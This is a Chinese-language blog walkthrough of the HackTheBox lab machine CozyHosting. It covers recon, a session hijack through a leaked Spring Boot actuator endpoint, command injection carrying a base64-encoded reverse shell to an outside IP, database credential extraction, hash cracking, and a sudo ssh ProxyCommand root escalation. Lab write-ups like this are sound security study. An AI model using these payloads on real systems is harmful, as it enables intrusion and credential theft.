[渗透测试学习] CozyHosting - HackTheBox

文章目录


信息搜集
nmap扫描一下,发现存在80端口和22端口

nmap -sV -sC -p- -v --min-rate 1000 10.10.11.230

在这里插入图片描述直接访问80端口发现有跳转
在这里插入图片描述

那么我们将ip添加到hosts里面,成功访问
在这里插入图片描述
观察发现是企业网站,扫描一下没有子域名
那么就扫下目录,这里直接用dirsearch快一点
在这里插入图片描述得到信息/actuator/文件路径,并且actuator是java框架spring boot的一个程序监视器
存在路径/admin,直接访问会跳转到/login

我们逐一去看
/env
在这里插入图片描述
/sessions
在这里插入图片描述
/health
在这里插入图片描述
/mappings
在这里插入图片描述我们发现/sessions泄露了用户kanerson的session
访问/admin然后bp抓包修改session登录成功
在这里插入图片描述
拖到最下面,存在一个使用SSH和密钥进行添加远程主机的功能
在这里插入图片描述

我们抓包看看,发现存在rce漏洞
在这里插入图片描述

构造bash -i >& /dev/tcp/10.10.14.59/1028 0>&1,用base64编码绕过

`{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41OS8xMDI4IDA+JjE=}|{base64,-d}|{bash,-i}`

然后url编码一下成功反弹shell
在这里插入图片描述
ls一下发现有jar包,我们找一下密码
我们在靶机上开启服务器

python3 -m http.server 8090

然后用wget下载下来jar包
在这里插入图片描述丢到idea反编译
从代码中获取到postgres用户密码和数据库名cozyhosting
在这里插入图片描述

我们查看下/etc/passwd可以知道postgres也是靶机用户
这里使用得到密码尝试登录到postgres用户失败了,于是尝试连接数据库。发现靶机环境中存在postgresql数据库连接工具psql,尝试连接数据库。

psql -U postgres -W -h localhost -d cozyhosting

连接成功后我们查看下数据库
在这里插入图片描述然后选择数据库cozyhosting,输入密码

\c cozyhosting

\d参数查看所有的表
在这里插入图片描述得到密码
在这里插入图片描述然后用工具john爆破
在这里插入图片描述
得到密码后,查看下用户发现只剩下josh为普通用户

在这里插入图片描述
那么我们尝试ssh连接,成功得到user的flag

在这里插入图片描述然后就是提权,我们sudo -l看看
发现有ssh命令,查下相关资料

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

在这里插入图片描述

成功提权,得到root的flag
在这里插入图片描述

相关推荐

  1. [渗透测试学习] Crocodile - HackTheBox

    2023-12-13 03:04:03       34 阅读
  2. [渗透测试学习] Pov-HackTheBox

    2023-12-13 03:04:03       18 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-13 03:04:03       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-13 03:04:03       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-13 03:04:03       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-13 03:04:03       18 阅读

热门阅读

  1. 1.TypeScript基础语法

    2023-12-13 03:04:03       38 阅读
  2. gitblit自建git仓库

    2023-12-13 03:04:03       37 阅读
  3. 网络编程发送接受多案例

    2023-12-13 03:04:03       39 阅读
  4. C++学习笔记(十四)

    2023-12-13 03:04:03       35 阅读
  5. python 中Windows编程一些心得

    2023-12-13 03:04:03       44 阅读
  6. 【算法集训】基础数据结构:四、栈

    2023-12-13 03:04:03       44 阅读
  7. linux链表应用2

    2023-12-13 03:04:03       40 阅读
  8. 2.2运行时数据区域----2.2.3本地方法栈

    2023-12-13 03:04:03       36 阅读
  9. Linux中的iptables

    2023-12-13 03:04:03       32 阅读